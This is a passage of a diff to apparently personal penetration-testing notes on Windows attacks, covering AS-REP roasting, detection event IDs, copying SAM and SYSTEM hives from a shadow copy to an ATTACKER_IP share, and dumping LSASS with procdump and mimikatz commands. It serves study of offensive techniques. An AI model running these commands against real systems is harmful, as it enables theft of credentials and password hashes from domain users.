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# AS-Rep Roating
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# AS-Rep Roasting
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AS-REP Roasting targets account for which preauthentication is disabled.
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This means `DONT_REQUIRE_PREAUTH` for an account is enabled, and the DC skips
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the verification step. After event type `4768` the `Pre_Authentication_Type=0`
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and event code `4769` and `4624` is never triggered.
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A service can be requested without any password check.
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AS-Rep Roasting dumps user accounts which did not enable pre-authentication.
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AS-Rep Roasting dumps user accounts which did not enable pre-authentication.
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This is somewhat similar to Kerberoasting but includes user accounts as well.
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This is somewhat similar to Kerberoasting but includes user accounts as well.
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@ -27,6 +27,7 @@ Get-WinEvent -FilterHashTable @{LogName='<Category>';ID='<Event IDs>'} | fl
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* **1**: Process Creation (Applications & Services -> Microsoft -> Windows ->
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* **1**: Process Creation (Applications & Services -> Microsoft -> Windows ->
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Sysmon -> Operational)
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Sysmon -> Operational)
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* **10**: ProcessAccess, Sysmon event where one process opens a handle to another process
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* **4688**: Process Creation (Windows Logs -> Security)
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* **4688**: Process Creation (Windows Logs -> Security)
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### Files
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### Files
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@ -324,12 +324,14 @@ socat tcp-listen:135 reuseaddr,fork tcp:$TARGET_IP:1234
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### Volume Shadow Copy Service
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### Volume Shadow Copy Service
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* Take a look at the volumes at
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Take a look at the volumes at
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```sh
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```sh
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vssadmin list shadows
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vssadmin list shadows
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```
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```
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* Copy `sam` and `system` from the shadow copy
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Copy `sam` and `system` from the shadow copy
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```sh
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```sh
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copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\windows\system32\config\sam \\ATTACKER_IP\
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copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\windows\system32\config\sam \\ATTACKER_IP\
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copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\windows\system32\config\system \\ATTACKER_IP\
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copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\windows\system32\config\system \\ATTACKER_IP\
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@ -337,10 +339,14 @@ copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\windows\system32\config\sys
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### Dump LSASS
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### Dump LSASS
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* If administrator permissions are gained, a dump file can be created by opening the task manager and right clicking `lsass.exe` -> `creat dumpfile`
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LSASS contains multiple different credential types like NTLM password hashes,
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active krb session tickets, plaintext passwords and cached domain credentials.
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* If administrator permissions are gained, a dump file can be created by opening the task manager and right-clicking `lsass.exe` -> `creat dumpfile`
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* Use `procdump.exe` from sysinternal suite as an alternative to `tskmgr.exe`
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* Use `procdump.exe` from sysinternal suite as an alternative to `tskmgr.exe`
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* Extract the dump via mimikatz
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* Extract the dump via mimikatz
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```sh
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```sh
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privilege::debug
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privilege::debug
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sekurlsa::logonpasswords
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sekurlsa::logonpasswords
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